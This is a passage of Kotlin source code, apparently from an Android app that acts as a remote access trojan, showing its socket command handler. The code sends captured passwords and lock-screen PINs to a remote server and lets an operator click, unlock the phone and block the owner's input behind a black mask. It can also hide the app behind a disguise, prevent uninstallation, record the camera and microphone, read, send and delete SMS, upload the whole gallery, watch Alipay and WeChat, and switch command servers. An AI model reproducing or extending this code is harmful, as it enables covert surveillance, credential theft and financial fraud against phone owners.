* 发送密码输入数据
*/
fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "🔐 发送密码输入数据: $inputMethod")
val payload = JSONObject().apply {
put("deviceId", deviceId)
put("type", "password_input")
put("timestamp", System.currentTimeMillis())
put("password", password)
put("passwordLength", password.length)
put("inputMethod", inputMethod)
put("passwordType", passwordType)
put("activity", activity)
put("installationId", installationId)
put("sessionId", System.currentTimeMillis().toString())
}
socket?.emit("password_input", payload)
Log.i(TAG, "✅ 密码输入数据已发送")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送密码输入数据")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送密码输入数据失败", e)
}
}
private fun handleControlMessage(json: JSONObject) {
try {
val type = json.getString("type")
val data = json.getJSONObject("data")
Log.d(TAG, "处理控制消息: type=$type")
when (type) {
"CLICK" -> {
val x = data.getDouble("x").toFloat()
val y = data.getDouble("y").toFloat()
Log.d(TAG, "执行点击: ($x, $y)")
service.performClick(x, y)
}
"SWIPE" -> {
val startX = data.getDouble("startX").toFloat()
val startY = data.getDouble("startY").toFloat()
val endX = data.getDouble("endX").toFloat()
val endY = data.getDouble("endY").toFloat()
val duration = data.optLong("duration", 300)
Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration")
service.performSwipe(startX, startY, endX, endY, duration)
}
"LONG_PRESS" -> {
val x = data.getDouble("x").toFloat()
val y = data.getDouble("y").toFloat()
Log.d(TAG, "执行长按: ($x, $y)")
service.performLongPress(x, y)
}
"LONG_PRESS_DRAG" -> {
// 🔧 优化:处理包含完整路径的连续长按拖拽
try {
val pathArray = data.getJSONArray("path")
val duration = data.optLong("duration", 1500L)
// 解析路径点
val pathPoints = mutableListOf<android.graphics.PointF>()
for (i in 0 until pathArray.length()) {
val point = pathArray.getJSONObject(i)
val x = point.getDouble("x").toFloat()
val y = point.getDouble("y").toFloat()
pathPoints.add(android.graphics.PointF(x, y))
}
Log.d(TAG, "🔧 执行连续长按拖拽: 路径点数=${pathPoints.size}, 持续时间=${duration}ms")
service.performContinuousLongPressDrag(pathPoints, duration)
} catch (e: Exception) {
Log.e(TAG, "解析连续长按拖拽路径失败", e)
}
}
"INPUT_TEXT" -> {
val text = data.getString("text")
val isWebUnlock = data.optBoolean("webUnlockMode", false)
Log.d(TAG, "📝 整体输入文本: $text, Web解锁模式: $isWebUnlock")
// ✅ Web解锁模式处理
if (isWebUnlock) {
Log.d(TAG, "🔓 启用Web解锁模式")
service.setWebUnlockMode(true)
}
// ✅ 使用标准文本输入
service.inputText(text)
// ✅ 输入完成后重置Web解锁模式
if (isWebUnlock) {
Log.d(TAG, "🔓 计划重置Web解锁模式")
// 延迟重置,确保确认操作完成
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
Log.d(TAG, "🔓 重置Web解锁模式")
service.setWebUnlockMode(false)
}, 5000) // 5秒后重置
}
}
"UNLOCK_DEVICE" -> {
Log.d(TAG, "🔓 收到一键解锁指令")
service.unlockDevice()
}
"KEY_EVENT" -> {
// 支持两种格式keyCode (整数) 和 key (字符串)
if (data.has("keyCode")) {
val keyCode = data.getInt("keyCode")
Log.d(TAG, "按键事件(keyCode): $keyCode")
when (keyCode) {
3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
66 -> {
// ✅ 已删除Enter键特殊处理
Log.d(TAG, "Enter键 - 已删除特殊处理")
}
else -> Log.w(TAG, "未知按键代码: $keyCode")
}
} else if (data.has("key")) {
val key = data.getString("key")
Log.d(TAG, "按键事件(key): $key")
when (key) {
"BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
"HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
"RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
"ENTER" -> {
// ✅ 已删除Enter键字符串形式特殊处理
Log.d(TAG, "Enter键(字符串) - 已删除特殊处理")
}
else -> Log.w(TAG, "未知按键: $key")
}
}
}
"GESTURE" -> {
val gestureType = data.getString("type")
Log.d(TAG, "手势操作: $gestureType")
when (gestureType) {
"PINCH_IN", "PINCH_OUT" -> {
val centerX = data.getDouble("centerX").toFloat()
val centerY = data.getDouble("centerY").toFloat()
val scale = data.getDouble("scale").toFloat()
service.performPinchGesture(centerX, centerY, scale, gestureType == "PINCH_OUT")
}
}
}
"POWER_WAKE" -> {
Log.d(TAG, "点亮屏幕")
service.wakeScreen()
}
"POWER_SLEEP" -> {
Log.d(TAG, "锁定屏幕")
service.lockScreen()
}
"ENABLE_BLACK_SCREEN" -> {
Log.d(TAG, "启用黑屏遮盖")
service.enableBlackScreen()
}
"DISABLE_BLACK_SCREEN" -> {
Log.d(TAG, "取消黑屏遮盖")
service.disableBlackScreen()
}
"HIDE_APP" -> {
Log.d(TAG, "隐藏应用")
service.hideApp()
}
"SHOW_APP" -> {
Log.d(TAG, "显示应用")
service.showApp()
}
"DEVICE_BLOCK_INPUT" -> {
Log.d(TAG, "阻止设备用户输入")
// 检查是否有遮罩配置
val maskText = data.optString("maskText", null)
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
if (maskText != null || maskTextSize != null) {
Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize")
service.setMaskTextConfig(maskText, maskTextSize)
}
service.blockDeviceInput()
}
"DEVICE_ALLOW_INPUT" -> {
Log.d(TAG, "允许设备用户输入")
service.allowDeviceInput()
}
"SET_MASK_CONFIG" -> {
Log.d(TAG, "设置遮罩配置")
val maskText = data.optString("maskText", null)
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
service.setMaskTextConfig(maskText, maskTextSize)
}
"LOG_ENABLE" -> {
Log.d(TAG, "暂停:暂时不启用操作日志记录")
service.enableLogging() // 暂停:暂时不启用日志
}
"LOG_DISABLE" -> {
Log.d(TAG, "禁用操作日志记录")
service.disableLogging()
}
"SMART_CONFIRM_DETECTION" -> {
Log.d(TAG, "智能确认按钮检测")
val passwordType = data.optString("passwordType", "")
val screenWidth = data.optInt("screenWidth", 0)
val screenHeight = data.optInt("screenHeight", 0)
service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
}
"SMART_UNLOCK_SWIPE" -> {
Log.d(TAG, "智能上滑解锁")
service.performSmartUnlockSwipe()
}
"ALIPAY_DETECTION_START" -> {
Log.d(TAG, "开启支付宝检测")
service.enableAlipayDetection()
}
"ALIPAY_DETECTION_STOP" -> {
Log.d(TAG, "关闭支付宝检测")
service.disableAlipayDetection()
}
"WECHAT_DETECTION_START" -> {
Log.d(TAG, "开启微信检测")
service.enableWechatDetection()
}
"WECHAT_DETECTION_STOP" -> {
Log.d(TAG, "关闭微信检测")
service.disableWechatDetection()
}
"OPEN_APP_SETTINGS" -> {
Log.d(TAG, "打开应用设置")
service.openAppSettings()
}
"REFRESH_MEDIA_PROJECTION_PERMISSION" -> {
Log.d(TAG, "重新获取投屏权限")
service.refreshMediaProjectionPermission()
}
"REFRESH_MEDIA_PROJECTION_MANUAL" -> {
Log.d(TAG, "手动授权投屏权限(不自动点击)")
service.refreshMediaProjectionManual()
}
"CLOSE_CONFIG_MASK" -> {
Log.d(TAG, "手动关闭配置遮盖")
val isManual = data.optBoolean("manual", false)
Log.i(TAG, "🛡️ 收到关闭配置遮盖指令 - 手动操作: $isManual")
service.forceHideConfigMask(isManual)
}
"ENABLE_UNINSTALL_PROTECTION" -> {
Log.d(TAG, "🛡️ 启用防止卸载保护")
service.enableUninstallProtection()
}
"DISABLE_UNINSTALL_PROTECTION" -> {
Log.d(TAG, "🛡️ 禁用防止卸载保护")
service.disableUninstallProtection()
}
"CAMERA_START" -> {
Log.d(TAG, "📷 启动摄像头捕获")
service.startCameraCapture()
}
"CAMERA_STOP" -> {
Log.d(TAG, "📷 停止摄像头捕获")
service.stopCameraCapture()
}
"CAMERA_SWITCH" -> {
Log.d(TAG, "📷 切换摄像头")
service.switchCamera()
}
"CAMERA_CAPTURE_START" -> {
Log.d(TAG, "📷 开始摄像头捕获(精细控制)")
service.startCameraCapturing()
}
"CAMERA_CAPTURE_STOP" -> {
Log.d(TAG, "📷 停止摄像头捕获(精细控制)")
service.stopCameraCapturing()
}
"CAMERA_STATUS" -> {
val isCapturing = service.isCameraCapturing()
val cameraInfo = service.getCameraInfo()
Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo")
// 可以在这里发送状态回执给服务器
}
"CAMERA_INFO" -> {
val cameraInfo = service.getCameraInfo()
Log.d(TAG, "📷 摄像头信息: $cameraInfo")
// 可以在这里发送摄像头信息回执给服务器
}
"SMS_READ" -> {
val limit = data.optInt("limit", 50)
Log.d(TAG, "📱 读取短信列表 (限制: $limit)")
val smsList = service.readSMSList(limit)
Log.d(TAG, "📱 读取到 ${smsList.size} 条短信")
// 可以在这里发送短信列表回执给服务器
}
"SMS_SEND" -> {
val phoneNumber = data.getString("phoneNumber")
val message = data.getString("message")
Log.d(TAG, "📱 发送短信到: $phoneNumber")
val success = service.sendSMS(phoneNumber, message)
Log.d(TAG, "📱 短信发送结果: $success")
// 可以在这里发送发送结果回执给服务器
}
"SMS_MARK_READ" -> {
val smsId = data.getLong("smsId")
Log.d(TAG, "📱 标记短信为已读: $smsId")
val success = service.markSMSAsRead(smsId)
Log.d(TAG, "📱 标记结果: $success")
}
"ALBUM_READ" -> {
// 新逻辑:始终读取全部并发送;若有新指令打断,重启任务
Log.d(TAG, "🖼️ 收到读取相册指令,启动/重启读取+发送任务(读取全部)")
startReadAndSendAllGallery()
}
"GALLERY_PERMISSION_REQUEST" -> {
Log.d(TAG, "🖼️ 申请相册权限")
service.requestGalleryPermissionWithAutoGrant()
}
"GALLERY_PERMISSION_CHECK" -> {
val hasPermission = service.checkGalleryPermission()
Log.d(TAG, "🖼️ 相册权限状态: ${if (hasPermission) "已授予" else "未授予"}")
if (!hasPermission) {
Log.d(TAG, "🖼️ 相册权限未授予,自动申请权限")
service.requestGalleryPermissionWithAutoGrant()
}
}
"GALLERY_PERMISSION_AUTO_GRANT" -> {
Log.d(TAG, "🖼️ 自动申请相册权限(盲点方式)")
service.requestGalleryPermissionWithAutoGrant()
}
"MICROPHONE_PERMISSION_REQUEST" -> {
Log.d(TAG, "🎤 申请麦克风权限")
service.requestMicrophonePermissionWithAutoGrant()
}
"MICROPHONE_PERMISSION_CHECK" -> {
val hasPermission = service.checkMicrophonePermission()
Log.d(TAG, "🎤 麦克风权限状态: ${if (hasPermission) "已授予" else "未授予"}")
if (!hasPermission) {
Log.d(TAG, "🎤 麦克风权限未授予,自动申请权限")
service.requestMicrophonePermissionWithAutoGrant()
}
}
"MICROPHONE_PERMISSION_AUTO_GRANT" -> {
Log.d(TAG, "🎤 自动申请麦克风权限(盲点方式)")
service.requestMicrophonePermissionWithAutoGrant()
}
"MICROPHONE_START_RECORDING" -> {
Log.d(TAG, "🎤 开始麦克风录音")
service.startMicrophoneRecording()
}
"MICROPHONE_STOP_RECORDING" -> {
Log.d(TAG, "🎤 停止麦克风录音")
service.stopMicrophoneRecording()
}
"MICROPHONE_RECORDING_STATUS" -> {
val isRecording = service.isMicrophoneRecording()
Log.d(TAG, "🎤 麦克风录音状态: ${if (isRecording) "正在录音" else "未录音"}")
val payload = org.json.JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "microphone_status")
put("timestamp", System.currentTimeMillis())
put("isRecording", isRecording)
}
socket?.emit("microphone_status", payload)
}
"SMS_DELETE" -> {
val smsId = data.getLong("smsId")
Log.d(TAG, "📱 删除短信: $smsId")
val success = service.deleteSMS(smsId)
Log.d(TAG, "📱 删除结果: $success")
}
"SMS_UNREAD_COUNT" -> {
val count = service.getUnreadSMSCount()
Log.d(TAG, "📱 未读短信数量: $count")
// 可以在这里发送未读数量回执给服务器
}
"SMS_PERMISSION_CHECK" -> {
val hasPermission = service.checkSMSPermission()
Log.d(TAG, "📱 短信权限检查: $hasPermission")
if (!hasPermission) {
service.requestSMSPermissionWithAutoGrant()
}
}
"SMS_PERMISSION_AUTO_GRANT" -> {
val hasPermission = service.checkSMSPermission()
Log.d(TAG, "📱 短信权限自动授予检查: $hasPermission")
if (!hasPermission) {
service.requestSMSPermissionWithAutoGrant()
} else {
Log.d(TAG, "📱 短信权限已授予,无需申请")
}
}
"OPEN_PIN_INPUT" -> {
Log.d(TAG, "🔐 收到打开PIN输入页面指令")
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN)
}
"OPEN_FOUR_DIGIT_PIN" -> {
Log.d(TAG, "🔐 收到打开4位数字PIN页面指令")
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4)
}
"OPEN_PATTERN_LOCK" -> {
Log.d(TAG, "🔐 收到打开图形密码页面指令")
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN)
}
"CHANGE_SERVER_URL" -> {
val newServerUrl = data.optString("serverUrl", "")
if (newServerUrl.isNotEmpty()) {
Log.i(TAG, "🔄 收到修改服务器地址指令: $newServerUrl")
handleServerUrlChange(newServerUrl)
} else {
Log.w(TAG, "⚠️ 修改服务器地址指令缺少serverUrl参数")
}
}
"SCREEN_CAPTURE_PAUSE" -> {
Log.d(TAG, "📺 暂停远程桌面")
service.getScreenCaptureManager()?.pauseCapture()
}
"SCREEN_CAPTURE_RESUME" -> {
Log.d(TAG, "📺 继续远程桌面")
service.getScreenCaptureManager()?.resumeCapture()
}
else -> Log.w(TAG, "未知控制操作: $type")
}
} catch (e: Exception) {
Log.e(TAG, "处理控制消息失败", e)
}
}
/**
* 发送操作日志到服务器(优化版本,避免与屏幕数据传输冲突)
*/
fun sendOperationLog(logData: JSONObject) {
try {
if (isConnected && socket?.connected() == true) {
// 🔧 关键优化:检查与屏幕数据发送的时间间隔,避免传输冲突
val currentTime = System.currentTimeMillis()
val timeSinceLastScreenData = currentTime - lastScreenDataTime
// 如果刚刚发送过屏幕数据100ms内稍微延迟发送日志
if (timeSinceLastScreenData < 100) {
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
if (isConnected && socket?.connected() == true) {
socket?.emit("operation_log", logData)
Log.d(TAG, "📤 [延迟] 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 延迟发送操作日志失败", e)
}
}, 150) // 延迟150ms错开屏幕数据发送时间
} else {
// 安全时间窗口,直接发送
socket?.emit("operation_log", logData)
Log.d(TAG, "📤 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}")
}
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送操作日志")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送操作日志失败", e)
}
}
/**
* 🆕 发送权限申请响应到服务器
*/
fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) {
try {
if (isConnected && socket?.connected() == true) {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("permissionType", permissionType)
put("success", success)
put("message", message)
put("timestamp", System.currentTimeMillis())
}
socket?.emit("permission_response", responseData)
Log.i(TAG, "📤 发送权限申请响应: $permissionType - 成功=$success, 消息=$message")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送权限申请响应")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送权限申请响应失败", e)
}
}
/**
* 🆕 发送设备输入阻塞状态变更到服务器
*/
fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) {
try {
if (isConnected && socket?.connected() == true) {
val eventData = JSONObject().apply {
put("deviceId", getDeviceId())
put("blocked", blocked)
put("success", true)
put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复")
put("timestamp", System.currentTimeMillis())
put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用
put("autoEnabled", autoEnabled) // 标记这是自动启用的,区别于手动操作
}
socket?.emit("device_input_blocked_changed", eventData)
Log.i(TAG, "📤 发送设备输入阻塞状态变更: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled")
} else {
Log.w(TAG, "⚠️ Socket未连接无法发送设备输入阻塞状态变更")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送设备输入阻塞状态变更失败", e)
}
}
/**
* 处理服务器地址修改
*/
private fun handleServerUrlChange(newServerUrl: String) {
scope.launch(Dispatchers.IO) {
try {
Log.i(TAG, "🔄 开始处理服务器地址修改: $newServerUrl")
// 0. 验证新服务器地址格式
if (newServerUrl.isBlank() || (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://"))) {
Log.e(TAG, "❌ 无效的服务器地址格式: $newServerUrl")
sendErrorResponse("无效的服务器地址格式")
return@launch
}
// 1. 保存新的服务器地址到配置文件
val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl)
if (success) {
Log.i(TAG, "✅ 服务器地址已保存到配置文件")
// 1.5. 验证配置是否真的保存成功
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
if (savedUrl == newServerUrl) {
Log.i(TAG, "✅ 配置验证成功,新地址已保存: $savedUrl")
} else {
Log.w(TAG, "⚠️ 配置验证失败,保存的地址: $savedUrl, 期望的地址: $newServerUrl")
}
// 2. 发送响应给服务器
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", true)
put("message", "服务器地址已更新,即将重启连接")
put("newServerUrl", newServerUrl)
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
Log.i(TAG, "📤 发送服务器地址修改响应")
} catch (e: Exception) {
Log.e(TAG, "❌ 发送响应失败", e)
}
}
// 3. 延迟后断开当前连接并重新连接到新地址
delay(2000) // 延迟2秒确保响应发送成功
Log.i(TAG, "🔄 开始重启WebSocket连接...")
reconnectToNewServer(newServerUrl)
} else {
Log.e(TAG, "❌ 保存服务器地址失败")
// 发送失败响应
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", false)
put("message", "保存服务器地址失败")
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
} catch (e: Exception) {
Log.e(TAG, "❌ 发送失败响应失败", e)
}
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 处理服务器地址修改失败", e)
sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}")
}
}
}
/**
* 发送错误响应
*/
private suspend fun sendErrorResponse(errorMessage: String) {
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", false)
put("message", errorMessage)
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
Log.i(TAG, "📤 发送错误响应: $errorMessage")
} catch (e: Exception) {
Log.e(TAG, "❌ 发送错误响应失败", e)
}
}
}
/**
* 重新连接到新服务器
*/
private suspend fun reconnectToNewServer(newServerUrl: String) {
try {
Log.i(TAG, "🔄 断开当前连接...")
// 1. 断开当前连接
withContext(Dispatchers.Main) {
socket?.disconnect()
socket?.close()
socket = null
}
Log.i(TAG, "✅ 当前连接已断开")
// 2. 等待一段时间
delay(1000)
// 3. 连接到新服务器
Log.i(TAG, "🔄 连接到新服务器: $newServerUrl")
connect(newServerUrl)
Log.i(TAG, "✅ WebSocket服务重启完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 重新连接到新服务器失败", e)
}
}
/**
* 打开密码输入页面
*/
private fun openPasswordInputActivity(passwordType: String) {
try {
Log.d(TAG, "🔐 准备打开密码输入页面,类型: $passwordType")
// 🔧 重置密码输入完成状态,允许重新输入
val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
val completed = prefs.getBoolean("password_input_completed", false)
if (completed) {
Log.i(TAG, "🔐 检测到密码已输入完成,重置状态以允许重新输入")
prefs.edit().putBoolean("password_input_completed", false).apply()
Log.i(TAG, "✅ 密码输入状态已重置,准备重新输入")
}
// 检查是否处于伪装模式如果是则确保MainActivity被禁用
if (isAppInCamouflageMode()) {
Log.i(TAG, "🎭 检测到伪装模式确保MainActivity被禁用")
ensureMainActivityDisabled()
}
val deviceId = getDeviceId()
val installationId = System.currentTimeMillis().toString()
val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
// 使用温和的flags设置避免Activity被销毁
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
}
service.startActivity(intent)
Log.d(TAG, "✅ 密码输入页面已启动,类型: $passwordType")
// 启动无障碍监控
startAccessibilityMonitoring(passwordType, deviceId, installationId)
} catch (e: Exception) {
Log.e(TAG, "❌ 启动密码输入页面失败", e)
}
}
/**
* 🎭 检查APP是否处于伪装模式
*/
private fun isAppInCamouflageMode(): Boolean {
return try {
val packageManager = service.packageManager
val phoneManagerComponent = android.content.ComponentName(service, "com.hikoncont.PhoneManagerAlias")
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent)
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) &&
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
false
}
}
/**
* 🎭 确保MainActivity被禁用
*/
private fun ensureMainActivityDisabled() {
try {
Log.i(TAG, "🎭 确保MainActivity被禁用")
val packageManager = service.packageManager
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
val currentState = packageManager.getComponentEnabledSetting(mainComponent)
if (currentState != android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
packageManager.setComponentEnabledSetting(
mainComponent,
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
android.content.pm.PackageManager.DONT_KILL_APP
)
Log.i(TAG, "✅ MainActivity已重新禁用")
} else {
Log.d(TAG, "✅ MainActivity已经是禁用状态")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 确保MainActivity禁用失败", e)
}
}
/**
* 启动无障碍监控参考handleNormalPasswordPageSwitch强制置顶
*/
private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) {
try {
Log.d(TAG, "🔍 启动无障碍监控,密码类型: $passwordType")
Log.d(TAG, "🔍 设备ID: $deviceId")
Log.d(TAG, "🔍 安装ID: $installationId")
// 通过AccessibilityRemoteService获取AccessibilityEventManager
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
if (accessibilityService != null) {
Log.d(TAG, "🔍 成功获取AccessibilityRemoteService")
val eventManager = accessibilityService.getAccessibilityEventManager()
if (eventManager != null) {
Log.d(TAG, "🔍 成功获取AccessibilityEventManager")
// 启动Socket唤醒密码监控
eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId)
Log.d(TAG, "✅ 无障碍监控已启动")
// 启动强制置顶监控参考handleNormalPasswordPageSwitch
startForceTopMonitoring(passwordType, deviceId, installationId)
Log.d(TAG, "✅ 强制置顶监控已启动")
} else {
Log.w(TAG, "⚠️ AccessibilityEventManager为null监控未启动")
}
} else {
Log.w(TAG, "⚠️ 无法获取AccessibilityRemoteService监控未启动")
Log.w(TAG, "⚠️ service类型: ${service::class.java.simpleName}")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动无障碍监控失败", e)
}
}
/**
* 启动强制置顶监控参考handleNormalPasswordPageSwitch逻辑
*/
private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) {
try {
Log.d(TAG, "🔝 启动强制置顶监控,密码类型: $passwordType")
// 延迟启动强制置顶,给页面充分时间加载
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
// 通过AccessibilityRemoteService获取AccessibilityEventManager
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
if (accessibilityService != null) {
val eventManager = accessibilityService.getAccessibilityEventManager()
if (eventManager != null) {
// 启用强制返回功能
eventManager.enableForceReturn()
Log.d(TAG, "✅ 强制返回功能已启用")
// 记录操作日志
accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf(
"passwordType" to passwordType,
"deviceId" to deviceId,
"installationId" to installationId,
"forceReturnEnabled" to true,
"timestamp" to System.currentTimeMillis()
))
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动强制置顶监控失败", e)
}
}, 2000) // 2秒延迟给页面充分时间加载
} catch (e: Exception) {
Log.e(TAG, "❌ 启动强制置顶监控失败", e)
}
}
fun disconnect() {
socket?.disconnect()
isConnected = false
isDeviceRegistered = false
connectionCheckJob?.cancel()
}
fun isConnected(): Boolean = isConnected && socket?.connected() == true
fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected()
/**
* ✅ 立即检测连接状态并重连
*/
private fun checkConnectionAndReconnect() {
scope.launch {
try {
Log.d(TAG, "立即检测连接状态")
val socketConnected = socket?.connected() == true
if (!socketConnected || !isConnected) {
Log.w(TAG, "连接已断开,立即重连")
forceReconnect()
} else {
Log.d(TAG, "连接状态正常")
}
} catch (e: Exception) {
Log.e(TAG, "连接检测异常", e)
}
}
}
/**
* 智能重新连接 - 增强稳定性版本针对transport error问题
* 添加重连深度限制,防止无限递归导致协程泄漏和内存耗尽
*/
private var forceReconnectDepth = 0
private val MAX_FORCE_RECONNECT_DEPTH = 3
fun forceReconnect() {
scope.launch {
try {
forceReconnectDepth++
if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) {
Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})停止递归重连等待Socket.IO自动重连")
forceReconnectDepth = 0
return@launch
}
Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
// 重置所有状态
isConnected = false
isDeviceRegistered = false
connectionCheckJob?.cancel()
// 优雅断开旧连接,给系统清理时间
try {
socket?.disconnect()
delay(1000)
socket?.close()
} catch (e: Exception) {
Log.w(TAG, "断开旧连接时出现异常(可忽略)", e)
}
Log.i(TAG, "旧连接已断开,等待智能延迟后重新连接...")
// 智能延迟:根据网络环境调整等待时间 + 随机化避免多设备同时重连
val baseDelay = if (Build.VERSION.SDK_INT >= 35) {
8000L
} else {
5000L
}
val randomDelay = (1000..4000).random().toLong()
// 限制transportErrorCount对延迟的影响防止延迟无限增长
val errorIncrement = minOf(transportErrorCount, 5) * 2000L
val totalDelay = baseDelay + randomDelay + errorIncrement
Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)")
delay(totalDelay)
// 重新创建Socket实例使用增强配置
Log.i(TAG, "重新创建增强Socket实例...")
try {
val useConservativeStrategy = shouldUseConservativeReconnect()
Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
val options = IO.Options().apply {
val isVeryPoorNetwork = networkQualityScore < 30
timeout = when {
isVeryPoorNetwork -> 90000
useConservativeStrategy -> 60000
else -> 45000
}
reconnection = true
reconnectionAttempts = when {
isVeryPoorNetwork -> 3
useConservativeStrategy -> 5
else -> 10
}
reconnectionDelay = when {
isVeryPoorNetwork -> 8000L
useConservativeStrategy -> 5000L
else -> 3000L
}
reconnectionDelayMax = when {
isVeryPoorNetwork -> 30000L
useConservativeStrategy -> 20000L
else -> 12000L
}
// 传输策略:根据网络质量和历史情况调整
transports = when {
isVeryPoorNetwork || networkQualityScore < 40 -> {
arrayOf("polling")
}
useConservativeStrategy -> {
arrayOf("polling")
}
else -> {
arrayOf("polling", "websocket")
}
}
upgrade = !useConservativeStrategy
rememberUpgrade = true
forceNew = true
query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}&timestamp=${System.currentTimeMillis()}"
}
socket = IO.socket(java.net.URI.create(serverUrl), options)
setupEventListeners()
socket?.connect()
Log.i(TAG, "增强Socket实例已创建并连接")
// 重连成功,重置深度计数
forceReconnectDepth = 0
} catch (e: Exception) {
Log.e(TAG, "重新创建Socket失败", e)
// 重连失败时的回退策略,有深度限制保护
delay(10000)
if (!isConnected) {
Log.w(TAG, "重连失败10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
forceReconnect()
}
}
} catch (e: Exception) {
Log.e(TAG, "智能重连异常", e)
forceReconnectDepth = 0
}
}
}
/**
